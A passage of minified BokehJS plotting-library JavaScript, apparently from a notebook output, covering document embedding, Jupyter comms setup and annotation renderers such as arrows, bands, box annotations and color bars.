successfully\\\")},function(t){console.log(\\\"Error rendering Bokeh items:\\\",t)})}}}i.BOKEH_ROOT=a.BOKEH_ROOT,i.inject_css=a.inject_css,i.inject_raw_css=a.inject_raw_css,i.embed_item=function(t,e){var i,n={},r=v.uuid4();n[r]=t.doc,null==e&&(e=t.target_id);var o={roots:((i={})[t.root_id]=e,i),docid:r};s.defer(function(){return l(n,[o])})},i.embed_items=function(t,e,i,n){s.defer(function(){return l(t,e,i,n)})}},function(t,e,r){var l=t(52),o=t(283),s=t(14),h=t(32),u=t(57),c=t(53);function a(t,e){0<e.buffers.length?t.consume(e.buffers[0].buffer):t.consume(e.content.data);var i=t.message;null!=i&&this.apply_json_patch(i.content,i.buffers)}function _(i,n){if(\\\"undefined\\\"!=typeof Jupyter&&null!=Jupyter.notebook.kernel){s.logger.info(\\\"Registering Jupyter comms for target \\\"+i);var t=Jupyter.notebook.kernel.comm_manager;try{t.register_target(i,function(t){s.logger.info(\\\"Registering Jupyter comms for target \\\"+i);var e=new o.Receiver;t.on_msg(a.bind(n,e))})}catch(t){s.logger.warn(\\\"Jupyter comms failed to register. push_notebook() will not function. (exception reported: \\\"+t+\\\")\\\")}}else if(n.roots()[0].id in r.kernels){s.logger.info(\\\"Registering JupyterLab comms for target \\\"+i);var e=r.kernels[n.roots()[0].id];try{e.registerCommTarget(i,function(t){s.logger.info(\\\"Registering JupyterLab comms for target \\\"+i);var e=new o.Receiver;t.onMsg=a.bind(n,e)})}catch(t){s.logger.warn(\\\"Jupyter comms failed to register. push_notebook() will not function. (exception reported: \\\"+t+\\\")\\\")}}else console.warn(\\\"Jupyter notebooks comms not available. push_notebook() will not function. If running JupyterLab ensure the latest jupyterlab_bokeh extension is installed. In an exported notebook this warning is expected.\\\")}r.kernels={},r.embed_items_notebook=function(t,e){if(1!=h.size(t))throw new Error(\\\"embed_items_notebook expects exactly one document in docs_json\\\");for(var i=l.Document.from_json(h.values(t)[0]),n=0,r=e;n<r.length;n++){var o=r[n];null!=o.notebook_comms_target&&_(o.notebook_comms_target,i);var s=c._resolve_element(o),a=c._resolve_root_elements(o);u.add_document_standalone(i,s,a)}}},function(t,e,i){var s=t(1),a=t(14),l=t(57);i._get_ws_url=function(t,e){var i,n=\\\"ws:\\\";return\\\"https:\\\"==window.location.protocol&&(n=\\\"wss:\\\"),null!=e?(i=document.createElement(\\\"a\\\")).href=e:i=window.location,null!=t?\\\"/\\\"==t&&(t=\\\"\\\"):t=i.pathname.replace(/\\\\/+$/,\\\"\\\"),n+\\\"//\\\"+i.host+t+\\\"/ws\\\"};var h={};i.add_document_from_session=function(t,e,i,n,r){void 0===n&&(n={}),void 0===r&&(r=!1);var o=window.location.search.substr(1);return function(t,e,i){t in h||(h[t]={});var n=h[t];return e in n||(n[e]=s.pull_session(t,e,i)),n[e]}(t,e,o).then(function(t){return l.add_document_standalone(t.document,i,n,r)},function(t){throw a.logger.error(\\\"Failed to load Bokeh session \\\"+e+\\\": \\\"+t),t})}},function(t,e,i){var h=t(52),u=t(5),c=t(0),_=t(53);i.add_document_standalone=function(t,o,s,e){void 0===s&&(s={}),void 0===e&&(e=!1);var a={};function i(t){var e;t.id in s?e=s[t.id]:o.classList.contains(_.BOKEH_ROOT)?e=o:(e=u.div({class:_.BOKEH_ROOT}),o.appendChild(e));var i,n,r=(n=new(i=t).default_view({model:i,parent:null}),c.index[i.id]=n);r.renderTo(e),a[t.id]=r}for(var n=0,r=t.roots();n<r.length;n++){var l=r[n];i(l)}return e&&(window.document.title=t.title()),t.on_change(function(t){t instanceof h.RootAddedEvent?i(t.model):t instanceof h.RootRemovedEvent?function(t){var e=t.id;if(e in a){var i=a[e];i.remove(),delete a[e],delete c.index[e]}}(t.model):e&&t instanceof h.TitleChangedEvent&&(window.document.title=t.title)}),a}},function(t,e,i){t(280);var n=t(286);i.version=n.version;var r=t(54);i.embed=r;var o=t(281);i.protocol=o;var s=t(285);i._testing=s;var a=t(14);i.logger=a.logger,i.set_log_level=a.set_log_level;var l=t(18);i.settings=l.settings;var h=t(0);i.Models=h.Models,i.index=h.index;var u=t(52);i.documents=u.documents;var c=t(284);i.safely=c.safely},function(t,e,i){var n=t(391),r=t(8),o=t(15),s=t(44),a=t(32),l=t(14),h=function(_){function i(t){return _.call(this,t)||this}return n.__extends(i,_),i.initClass=function(){this.prototype.type=\\\"Model\\\",this.define({tags:[o.Array,[]],name:[o.String],js_property_callbacks:[o.Any,{}],js_event_callbacks:[o.Any,{}],subscribed_events:[o.Array,[]]})},i.prototype.connect_signals=function(){var i=this;for(var t in _.prototype.connect_signals.call(this),this.js_property_callbacks)for(var e=this.js_property_callbacks[t],n=t.split(\\\":\\\"),r=n[0],o=n[1],s=void 0===o?null:o,a=function(t){var e=null!=s?l.properties[s][r]:l[r];l.connect(e,function(){return t.execute(i,{})})},l=this,h=0,u=e;h<u.length;h++){var c=u[h];a(c)}this.connect(this.properties.js_event_callbacks.change,function(){return i._update_event_callbacks}),this.connect(this.properties.subscribed_events.change,function(){return i._update_event_callbacks})},i.prototype._process_event=function(e){if(e.is_applicable_to(this)){e=e._customize_event(this);for(var t=0,i=this.js_event_callbacks[e.event_name]||[];t<i.length;t++){var n=i[t];n.execute(e,{})}null!=this.document&&this.subscribed_events.some(function(t){return t==e.event_name})&&this.document.event_manager.send_event(e)}},i.prototype.trigger_event=function(t){null!=this.document&&this.document.event_manager.trigger(t.set_model_id(this.id))},i.prototype._update_event_callbacks=function(){null!=this.document?this.document.event_manager.subscribed_models.add(this.id):l.logger.warn(\\\"WARNING: Document not defined for updating event callbacks\\\")},i.prototype._doc_attached=function(){a.isEmpty(this.js_event_callbacks)&&a.isEmpty(this.subscribed_events)||this._update_event_callbacks()},i.prototype.select=function(e){if(s.isString(e))return this.references().filter(function(t){return t instanceof i&&t.name===e});if(e.prototype instanceof r.HasProps)return this.references().filter(function(t){return t instanceof e});throw new Error(\\\"invalid selector\\\")},i.prototype.select_one=function(t){var e=this.select(t);switch(e.length){case 0:return null;case 1:return e[0];default:throw new Error(\\\"found more than one object matching given selector\\\")}},i}(r.HasProps);(i.Model=h).initClass()},function(t,e,i){var n=t(391),r=t(12),o=t(15),s=t(33),a=t(32),l=t(189),h=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._get_size=function(){throw new Error(\\\"not implemented\\\")},e.prototype.get_size=function(){return this.model.visible?Math.round(this._get_size()):0},e.prototype.set_data=function(t){var e,i,n=this.model.materialize_dataspecs(t);if(a.extend(this,n),this.plot_model.use_map){var r=this;null!=r._x&&(e=s.project_xy(r._x,r._y),r._x=e[0],r._y=e[1]),null!=r._xs&&(i=s.project_xsys(r._xs,r._ys),r._xs=i[0],r._ys=i[1])}},e}(l.RendererView);i.AnnotationView=h;var u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Annotation\\\",this.define({plot:[o.Instance]}),this.override({level:\\\"annotation\\\"})},t.prototype.add_panel=function(t){if(null==this.panel||t!==this.panel.side){var e=new r.SidePanel({side:t});e.attach_document(this.document),this.set_panel(e)}},t.prototype.set_panel=function(t){this.panel=t,this.level=\\\"overlay\\\"},t}(l.Renderer);(i.Annotation=u).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(62),s=t(200),a=t(15),l=t(31),h=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),null==this.model.source&&(this.model.source=new s.ColumnDataSource),this.set_data(this.model.source)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.plot_view.request_render()}),this.connect(this.model.source.streaming,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.patching,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.change,function(){return t.set_data(t.model.source)})},t.prototype.set_data=function(t){e.prototype.set_data.call(this,t),this.visuals.warm_cache(t),this.plot_view.request_render()},t.prototype._map_data=function(){var t,e,i,n,r=this.plot_view.frame;return\\\"data\\\"==this.model.start_units?(t=r.xscales[this.model.x_range_name].v_compute(this._x_start),e=r.yscales[this.model.y_range_name].v_compute(this._y_start)):(t=r.xview.v_compute(this._x_start),e=r.yview.v_compute(this._y_start)),\\\"data\\\"==this.model.end_units?(i=r.xscales[this.model.x_range_name].v_compute(this._x_end),n=r.yscales[this.model.y_range_name].v_compute(this._y_end)):(i=r.xview.v_compute(this._x_end),n=r.yview.v_compute(this._y_end)),[[t,e],[i,n]]},t.prototype.render=function(){if(this.model.visible){var t=this.plot_view.canvas_view.ctx;t.save();var e=this._map_data(),i=e[0],n=e[1];null!=this.model.end&&this._arrow_head(t,\\\"render\\\",this.model.end,i,n),null!=this.model.start&&this._arrow_head(t,\\\"render\\\",this.model.start,n,i),t.beginPath();var r=this.plot_model.canvas.bbox.rect,o=r.x,s=r.y,a=r.width,l=r.height;t.rect(o,s,a,l),null!=this.model.end&&this._arrow_head(t,\\\"clip\\\",this.model.end,i,n),null!=this.model.start&&this._arrow_head(t,\\\"clip\\\",this.model.start,n,i),t.closePath(),t.clip(),this._arrow_body(t,i,n),t.restore()}},t.prototype._arrow_head=function(t,e,i,n,r){for(var o=0,s=this._x_start.length;o<s;o++){var a=Math.PI/2+l.atan2([n[0][o],n[1][o]],[r[0][o],r[1][o]]);t.save(),t.translate(r[0][o],r[1][o]),t.rotate(a),\\\"render\\\"==e?i.render(t,o):\\\"clip\\\"==e&&i.clip(t,o),t.restore()}},t.prototype._arrow_body=function(t,e,i){if(this.visuals.line.doit)for(var n=0,r=this._x_start.length;n<r;n++)this.visuals.line.set_vectorize(t,n),t.beginPath(),t.moveTo(e[0][n],e[1][n]),t.lineTo(i[0][n],i[1][n]),t.stroke()},t}(r.AnnotationView);i.ArrowView=h;var u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Arrow\\\",this.prototype.default_view=h,this.mixins([\\\"line\\\"]),this.define({x_start:[a.NumberSpec],y_start:[a.NumberSpec],start_units:[a.String,\\\"data\\\"],start:[a.Instance,null],x_end:[a.NumberSpec],y_end:[a.NumberSpec],end_units:[a.String,\\\"data\\\"],end:[a.Instance,function(){return new o.OpenHead({})}],source:[a.Instance],x_range_name:[a.String,\\\"default\\\"],y_range_name:[a.String,\\\"default\\\"]})},t}(r.Annotation);(i.Arrow=u).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(49),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ArrowHead\\\",this.define({size:[s.Number,25]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.visuals=new o.Visuals(this)},t}(r.Annotation);(i.ArrowHead=a).initClass();var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"OpenHead\\\",this.mixins([\\\"line\\\"])},t.prototype.clip=function(t,e){this.visuals.line.set_vectorize(t,e),t.moveTo(.5*this.size,this.size),t.lineTo(.5*this.size,-2),t.lineTo(-.5*this.size,-2),t.lineTo(-.5*this.size,this.size),t.lineTo(0,0),t.lineTo(.5*this.size,this.size)},t.prototype.render=function(t,e){this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,e),t.beginPath(),t.moveTo(.5*this.size,this.size),t.lineTo(0,0),t.lineTo(-.5*this.size,this.size),t.stroke())},t}(a);(i.OpenHead=l).initClass();var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"NormalHead\\\",this.mixins([\\\"line\\\",\\\"fill\\\"]),this.override({fill_color:\\\"black\\\"})},t.prototype.clip=function(t,e){this.visuals.line.set_vectorize(t,e),t.moveTo(.5*this.size,this.size),t.lineTo(.5*this.size,-2),t.lineTo(-.5*this.size,-2),t.lineTo(-.5*this.size,this.size),t.lineTo(.5*this.size,this.size)},t.prototype.render=function(t,e){this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,e),this._normal(t,e),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,e),this._normal(t,e),t.stroke())},t.prototype._normal=function(t,e){t.beginPath(),t.moveTo(.5*this.size,this.size),t.lineTo(0,0),t.lineTo(-.5*this.size,this.size),t.closePath()},t}(a);(i.NormalHead=h).initClass();var u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"VeeHead\\\",this.mixins([\\\"line\\\",\\\"fill\\\"]),this.override({fill_color:\\\"black\\\"})},t.prototype.clip=function(t,e){this.visuals.line.set_vectorize(t,e),t.moveTo(.5*this.size,this.size),t.lineTo(.5*this.size,-2),t.lineTo(-.5*this.size,-2),t.lineTo(-.5*this.size,this.size),t.lineTo(0,.5*this.size),t.lineTo(.5*this.size,this.size)},t.prototype.render=function(t,e){this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,e),this._vee(t,e),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,e),this._vee(t,e),t.stroke())},t.prototype._vee=function(t,e){t.beginPath(),t.moveTo(.5*this.size,this.size),t.lineTo(0,0),t.lineTo(-.5*this.size,this.size),t.lineTo(0,.5*this.size),t.closePath()},t}(a);(i.VeeHead=u).initClass();var c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TeeHead\\\",this.mixins([\\\"line\\\"])},t.prototype.render=function(t,e){this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,e),t.beginPath(),t.moveTo(.5*this.size,0),t.lineTo(-.5*this.size,0),t.stroke())},t.prototype.clip=function(t,e){},t}(a);(i.TeeHead=c).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(200),s=t(15),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.set_data(this.model.source)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.source.streaming,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.patching,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.change,function(){return t.set_data(t.model.source)})},t.prototype.set_data=function(t){e.prototype.set_data.call(this,t),this.visuals.warm_cache(t),this.plot_view.request_render()},t.prototype._map_data=function(){var t,e,i,n=this.plot_view.frame,r=this.model.dimension,o=n.xscales[this.model.x_range_name],s=n.yscales[this.model.y_range_name],a=\\\"height\\\"==r?s:o,l=\\\"height\\\"==r?o:s,h=\\\"height\\\"==r?n.yview:n.xview,u=\\\"height\\\"==r?n.xview:n.yview;t=\\\"data\\\"==this.model.lower.units?a.v_compute(this._lower):h.v_compute(this._lower),e=\\\"data\\\"==this.model.upper.units?a.v_compute(this._upper):h.v_compute(this._upper),i=\\\"data\\\"==this.model.base.units?l.v_compute(this._base):u.v_compute(this._base);var c=\\\"height\\\"==r?[1,0]:[0,1],_=c[0],p=c[1],d=[t,i],f=[e,i];this._lower_sx=d[_],this._lower_sy=d[p],this._upper_sx=f[_],this._upper_sy=f[p]},t.prototype.render=function(){if(this.model.visible){this._map_data();var t=this.plot_view.canvas_view.ctx;t.beginPath(),t.moveTo(this._lower_sx[0],this._lower_sy[0]);for(var e=0,i=this._lower_sx.length;e<i;e++)t.lineTo(this._lower_sx[e],this._lower_sy[e]);for(var n=this._upper_sx.length-1,e=n;0<=e;e--)t.lineTo(this._upper_sx[e],this._upper_sy[e]);t.closePath(),this.visuals.fill.doit&&(this.visuals.fill.set_value(t),t.fill()),t.beginPath(),t.moveTo(this._lower_sx[0],this._lower_sy[0]);for(var e=0,i=this._lower_sx.length;e<i;e++)t.lineTo(this._lower_sx[e],this._lower_sy[e]);this.visuals.line.doit&&(this.visuals.line.set_value(t),t.stroke()),t.beginPath(),t.moveTo(this._upper_sx[0],this._upper_sy[0]);for(var e=0,i=this._upper_sx.length;e<i;e++)t.lineTo(this._upper_sx[e],this._upper_sy[e]);this.visuals.line.doit&&(this.visuals.line.set_value(t),t.stroke())}},t}(r.AnnotationView);i.BandView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Band\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({lower:[s.DistanceSpec],upper:[s.DistanceSpec],base:[s.DistanceSpec],dimension:[s.Dimension,\\\"height\\\"],source:[s.Instance,function(){return new o.ColumnDataSource}],x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"]}),this.override({fill_color:\\\"#fff9ba\\\",fill_alpha:.4,line_color:\\\"#cccccc\\\",line_alpha:.3})},t}(r.Annotation);(i.Band=l).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(19),l=t(5),s=t(15),a=t(24);i.EDGE_TOLERANCE=2.5;var h=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.plot_view.canvas_overlays.appendChild(this.el),this.el.classList.add(\\\"bk-shading\\\"),l.hide(this.el)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),\\\"css\\\"==this.model.render_mode?(this.connect(this.model.change,function(){return t.render()}),this.connect(this.model.data_update,function(){return t.render()})):(this.connect(this.model.change,function(){return t.plot_view.request_render()}),this.connect(this.model.data_update,function(){return t.plot_view.request_render()}))},t.prototype.render=function(){var o=this;if(this.model.visible||\\\"css\\\"!=this.model.render_mode||l.hide(this.el),this.model.visible)if(null!=this.model.left||null!=this.model.right||null!=this.model.top||null!=this.model.bottom){var t=this.plot_model.frame,e=t.xscales[this.model.x_range_name],i=t.yscales[this.model.y_range_name],n=function(t,e,i,n,r){return null!=t?o.model.screen?t:\\\"data\\\"==e?i.compute(t):n.compute(t):r};this.sleft=n(this.model.left,this.model.left_units,e,t.xview,t._left.value),this.sright=n(this.model.right,this.model.right_units,e,t.xview,t._right.value),this.stop=n(this.model.top,this.model.top_units,i,t.yview,t._top.value),this.sbottom=n(this.model.bottom,this.model.bottom_units,i,t.yview,t._bottom.value);var r=\\\"css\\\"==this.model.render_mode?this._css_box.bind(this):this._canvas_box.bind(this);r(this.sleft,this.sright,this.sbottom,this.stop)}else l.hide(this.el)},t.prototype._css_box=function(t,e,i,n){var r=this.model.properties.line_width.value(),o=Math.floor(e-t)-r,s=Math.floor(i-n)-r;this.el.style.left=t+\\\"px\\\",this.el.style.width=o+\\\"px\\\",this.el.style.top=n+\\\"px\\\",this.el.style.height=s+\\\"px\\\",this.el.style.borderWidth=r+\\\"px\\\",this.el.style.borderColor=this.model.properties.line_color.value(),this.el.style.backgroundColor=this.model.properties.fill_color.value(),this.el.style.opacity=this.model.properties.fill_alpha.value();var a=this.model.properties.line_dash.value().length<2?\\\"solid\\\":\\\"dashed\\\";this.el.style.borderStyle=a,l.show(this.el)},t.prototype._canvas_box=function(t,e,i,n){var r=this.plot_view.canvas_view.ctx;r.save(),r.beginPath(),r.rect(t,n,e-t,i-n),this.visuals.fill.set_value(r),r.fill(),this.visuals.line.set_value(r),r.stroke(),r.restore()},t.prototype.interactive_bbox=function(){var t=this.model.properties.line_width.value()+i.EDGE_TOLERANCE;return new a.BBox({x0:this.sleft-t,y0:this.stop-t,x1:this.sright+t,y1:this.sbottom+t})},t.prototype.interactive_hit=function(t,e){if(null==this.model.in_cursor)return!1;var i=this.interactive_bbox();return i.contains(t,e)},t.prototype.cursor=function(t,e){return Math.abs(t-this.sleft)<3||Math.abs(t-this.sright)<3?this.model.ew_cursor:Math.abs(e-this.sbottom)<3||Math.abs(e-this.stop)<3?this.model.ns_cursor:t>this.sleft&&t<this.sright&&e>this.stop&&e<this.sbottom?this.model.in_cursor:null},t}(r.AnnotationView);i.BoxAnnotationView=h;var u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"BoxAnnotation\\\",this.prototype.default_view=h,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({render_mode:[s.RenderMode,\\\"canvas\\\"],x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"],top:[s.Number,null],top_units:[s.SpatialUnits,\\\"data\\\"],bottom:[s.Number,null],bottom_units:[s.SpatialUnits,\\\"data\\\"],left:[s.Number,null],left_units:[s.SpatialUnits,\\\"data\\\"],right:[s.Number,null],right_units:[s.SpatialUnits,\\\"data\\\"]}),this.internal({screen:[s.Boolean,!1],ew_cursor:[s.String,null],ns_cursor:[s.String,null],in_cursor:[s.String,null]}),this.override({fill_color:\\\"#fff9ba\\\",fill_alpha:.4,line_color:\\\"#cccccc\\\",line_alpha:.3})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.data_update=new o.Signal0(this,\\\"data_update\\\")},t.prototype.update=function(t){var e=t.left,i=t.right,n=t.top,r=t.bottom;this.setv({left:e,right:i,top:n,bottom:r,screen:!0},{silent:!0}),this.data_update.emit()},t}(r.Annotation);(i.BoxAnnotation=u).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(207),s=t(104),u=t(167),a=t(192),l=t(193),h=t(184),c=t(15),_=t(41),p=t(21),g=t(22),d=t(32),f=t(44),v=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this._set_canvas_image()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.visible.change,function(){return t.plot_view.request_render()}),this.connect(this.model.ticker.change,function(){return t.plot_view.request_render()}),this.connect(this.model.formatter.change,function(){return t.plot_view.request_render()}),null!=this.model.color_mapper&&this.connect(this.model.color_mapper.change,function(){t._set_canvas_image(),t.plot_view.request_render()})},t.prototype._get_size=function(){if(null==this.model.color_mapper)return 0;var t=this.compute_legend_dimensions(),e=this.model.panel.side;switch(e){case\\\"above\\\":case\\\"below\\\":return t.height;case\\\"left\\\":case\\\"right\\\":return t.width;default:throw new Error(\\\"unreachable code\\\")}},t.prototype._set_canvas_image=function(){var t,e;if(null!=this.model.color_mapper){var i,n,r=this.model.color_mapper.palette;switch(\\\"vertical\\\"==this.model.orientation&&(r=p.reversed(r)),this.model.orientation){case\\\"vertical\\\":t=[1,r.length],i=t[0],n=t[1];break;case\\\"horizontal\\\":e=[r.length,1],i=e[0],n=e[1];break;default:throw new Error(\\\"unreachable code\\\")}var o=document.createElement(\\\"canvas\\\");o.width=i,o.height=n;var s=o.getContext(\\\"2d\\\"),a=s.getImageData(0,0,i,n),l=new u.LinearColorMapper({palette:r}).rgba_mapper,h=l.v_compute(p.range(0,r.length));a.data.set(h),s.putImageData(a,0,0),this.image=o}},t.prototype.compute_legend_dimensions=function(){var t,e,i=this.model._computed_image_dimensions(),n=[i.height,i.width],r=n[0],o=n[1],s=this._get_label_extent(),a=this.model._title_extent(),l=this.model._tick_extent(),h=this.model.padding;switch(this.model.orientation){case\\\"vertical\\\":t=r+a+2*h,e=o+l+s+2*h;break;case\\\"horizontal\\\":t=r+a+l+s+2*h,e=o+2*h;break;default:throw new Error(\\\"unreachable code\\\")}return{width:e,height:t}},t.prototype.compute_legend_location=function(){var t,e,i=this.compute_legend_dimensions(),n=[i.height,i.width],r=n[0],o=n[1],s=this.model.margin,a=null!=this.model.panel?this.model.panel:this.plot_view.frame,l=a.bbox.ranges,h=l[0],u=l[1],c=this.model.location;if(f.isString(c))switch(c){case\\\"top_left\\\":t=h.start+s,e=u.start+s;break;case\\\"top_center\\\":t=(h.end+h.start)/2-o/2,e=u.start+s;break;case\\\"top_right\\\":t=h.end-s-o,e=u.start+s;break;case\\\"bottom_right\\\":t=h.end-s-o,e=u.end-s-r;break;case\\\"bottom_center\\\":t=(h.end+h.start)/2-o/2,e=u.end-s-r;break;case\\\"bottom_left\\\":t=h.start+s,e=u.end-s-r;break;case\\\"center_left\\\":t=h.start+s,e=(u.end+u.start)/2-r/2;break;case\\\"center\\\":t=(h.end+h.start)/2-o/2,e=(u.end+u.start)/2-r/2;break;case\\\"center_right\\\":t=h.end-s-o,e=(u.end+u.start)/2-r/2;break;default:throw new Error(\\\"unreachable code\\\")}else{if(!f.isArray(c)||2!=c.length)throw new Error(\\\"unreachable code\\\");var _=c[0],p=c[1];t=a.xview.compute(_),e=a.yview.compute(p)-r}return{sx:t,sy:e}},t.prototype.render=function(){if(this.model.visible&&null!=this.model.color_mapper){var t=this.plot_view.canvas_view.ctx;t.save();var e=this.compute_legend_location(),i=e.sx,n=e.sy;t.translate(i,n),this._draw_bbox(t);var r=this._get_image_offset();if(t.translate(r.x,r.y),this._draw_image(t),null!=this.model.color_mapper.low&&null!=this.model.color_mapper.high){var o=this.model.tick_info();this._draw_major_ticks(t,o),this._draw_minor_ticks(t,o),this._draw_major_labels(t,o)}this.model.title&&this._draw_title(t),t.restore()}},t.prototype._draw_bbox=function(t){var e=this.compute_legend_dimensions();t.save(),this.visuals.background_fill.doit&&(this.visuals.background_fill.set_value(t),t.fillRect(0,0,e.width,e.height)),this.visuals.border_line.doit&&(this.visuals.border_line.set_value(t),t.strokeRect(0,0,e.width,e.height)),t.restore()},t.prototype._draw_image=function(t){var e=this.model._computed_image_dimensions();t.save(),t.setImageSmoothingEnabled(!1),t.globalAlpha=this.model.scale_alpha,t.drawImage(this.image,0,0,e.width,e.height),this.visuals.bar_line.doit&&(this.visuals.bar_line.set_value(t),t.strokeRect(0,0,e.width,e.height)),t.restore()},t.prototype._draw_major_ticks=function(t,e){if(this.visuals.major_tick_line.doit){var i=this.model._normals(),n=i[0],r=i[1],o=this.model._computed_image_dimensions(),s=[o.width*n,o.height*r],a=s[0],l=s[1],h=e.coords.major,u=h[0],c=h[1],_=this.model.major_tick_in,p=this.model.major_tick_out;t.save(),t.translate(a,l),this.visuals.major_tick_line.set_value(t);for(var d=0,f=u.length;d<f;d++)t.beginPath(),t.moveTo(Math.round(u[d]+n*p),Math.round(c[d]+r*p)),t.lineTo(Math.round(u[d]-n*_),Math.round(c[d]-r*_)),t.stroke();t.restore()}},t.prototype._draw_minor_ticks=function(t,e){if(this.visuals.minor_tick_line.doit){var i=this.model._normals(),n=i[0],r=i[1],o=this.model._computed_image_dimensions(),s=[o.width*n,o.height*r],a=s[0],l=s[1],h=e.coords.minor,u=h[0],c=h[1],_=this.model.minor_tick_in,p=this.model.minor_tick_out;t.save(),t.translate(a,l),this.visuals.minor_tick_line.set_value(t);for(var d=0,f=u.length;d<f;d++)t.beginPath(),t.moveTo(Math.round(u[d]+n*p),Math.round(c[d]+r*p)),t.lineTo(Math.round(u[d]-n*_),Math.round(c[d]-r*_)),t.stroke();t.restore()}},t.prototype._draw_major_labels=function(t,e){if(this.visuals.major_label_text.doit){var i=this.model._normals(),n=i[0],r=i[1],o=this.model._computed_image_dimensions(),s=[o.width*n,o.height*r],a=s[0],l=s[1],h=this.model.label_standoff+this.model._tick_extent(),u=[h*n,h*r],c=u[0],_=u[1],p=e.coords.major,d=p[0],f=p[1],v=e.labels.major;this.visuals.major_label_text.set_value(t),t.save(),t.translate(a+c,l+_);for(var m=0,g=d.length;m<g;m++)t.fillText(v[m],Math.round(d[m]+n*this.model.label_standoff),Math.round(f[m]+r*this.model.label_standoff));t.restore()}},t.prototype._draw_title=function(t){this.visuals.title_text.doit&&(t.save(),this.visuals.title_text.set_value(t),t.fillText(this.model.title,0,-this.model.title_standoff),t.restore())},t.prototype._get_label_extent=function(){var t,e=this.model.tick_info().labels.major;if(null==this.model.color_mapper.low||null==this.model.color_mapper.high||d.isEmpty(e))t=0;else{var i=this.plot_view.canvas_view.ctx;switch(i.save(),this.visuals.major_label_text.set_value(i),this.model.orientation){case\\\"vertical\\\":t=p.max(e.map(function(t){return i.measureText(t.toString()).width}));break;case\\\"horizontal\\\":t=_.get_text_height(this.visuals.major_label_text.font_value()).height;break;default:throw new Error(\\\"unreachable code\\\")}t+=this.model.label_standoff,i.restore()}return t},t.prototype._get_image_offset=function(){var t=this.model.padding,e=this.model.padding+this.model._title_extent();return{x:t,y:e}},t}(r.AnnotationView);i.ColorBarView=v;var m=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ColorBar\\\",this.prototype.default_view=v,this.mixins([\\\"text:major_label_\\\",\\\"text:title_\\\",\\\"line:major_tick_\\\",\\\"line:minor_tick_\\\",\\\"line:border_\\\",\\\"line:bar_\\\",\\\"fill:background_\\\"]),this.define({location:[c.Any,\\\"top_right\\\"],orientation:[c.Orientation,\\\"vertical\\\"],title:[c.String],title_standoff:[c.Number,2],width:[c.Any,\\\"auto\\\"],height:[c.Any,\\\"auto\\\"],scale_alpha:[c.Number,1],ticker:[c.Instance,function(){return new o.BasicTicker}],formatter:[c.Instance,function(){return new s.BasicTickFormatter}],major_label_overrides:[c.Any,{}],color_mapper:[c.Instance],label_standoff:[c.Number,5],margin:[c.Number,30],padding:[c.Number,10],major_tick_in:[c.Number,5],major_tick_out:[c.Number,0],minor_tick_in:[c.Number,0],minor_tick_out:[c.Number,0]}),this.override({background_fill_color:\\\"#ffffff\\\",background_fill_alpha:.95,bar_line_color:null,border_line_color:null,major_label_text_align:\\\"center\\\",major_label_text_baseline:\\\"middle\\\",major_label_text_font_size:\\\"8pt\\\",major_tick_line_color:\\\"#ffffff\\\",minor_tick_line_color:null,title_text_font_size:\\\"10pt\\\",title_text_font_style:\\\"italic\\\"})},t.prototype._normals=function(){return\\\"vertical\\\"==this.orientation?[1,0]:[0,1]},t.prototype._title_extent=function(){var t=this.title_text_font+\\\" \\\"+this.title_text_font_size+\\\" 